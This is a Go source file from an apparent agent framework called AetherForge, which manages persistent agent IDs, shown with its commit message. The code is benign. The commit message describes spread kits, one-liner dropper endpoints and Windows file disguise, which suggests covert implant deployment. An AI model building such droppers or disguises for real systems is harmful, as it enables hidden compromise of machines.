Files
AetherForge/agent/deploy/identity.go
drjones 0f9e04f5f6 Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
2026-05-29 20:53:13 -07:00

52 lines
1.2 KiB
Go

package deploy
import (
"fmt"
"os"
"path/filepath"
"strings"
"github.com/google/uuid"
)
const agentIDFile = "agent.id"
// EnsureAgentID creates a fresh agent ID during a new embed/install.
func EnsureAgentID(installDir string) (string, error) {
if err := os.MkdirAll(installDir, 0755); err != nil {
return "", err
}
id := uuid.New().String()
if err := writeAgentID(installDir, id); err != nil {
return "", err
}
return id, nil
}
// loadOrCreateAgentID reuses an existing agent.id when re-running spread install.
func loadOrCreateAgentID(installDir string) (string, error) {
if id, err := LoadAgentID(installDir); err == nil && id != "" {
return id, nil
}
return EnsureAgentID(installDir)
}
// LoadAgentID returns the persisted agent ID from the install directory.
func LoadAgentID(installDir string) (string, error) {
path := filepath.Join(installDir, agentIDFile)
data, err := os.ReadFile(path)
if err != nil {
return "", err
}
id := strings.TrimSpace(string(data))
if id == "" {
return "", fmt.Errorf("agent id file is empty")
}
return id, nil
}
func writeAgentID(installDir, id string) error {
path := filepath.Join(installDir, agentIDFile)
return os.WriteFile(path, []byte(id+"\n"), 0600)
}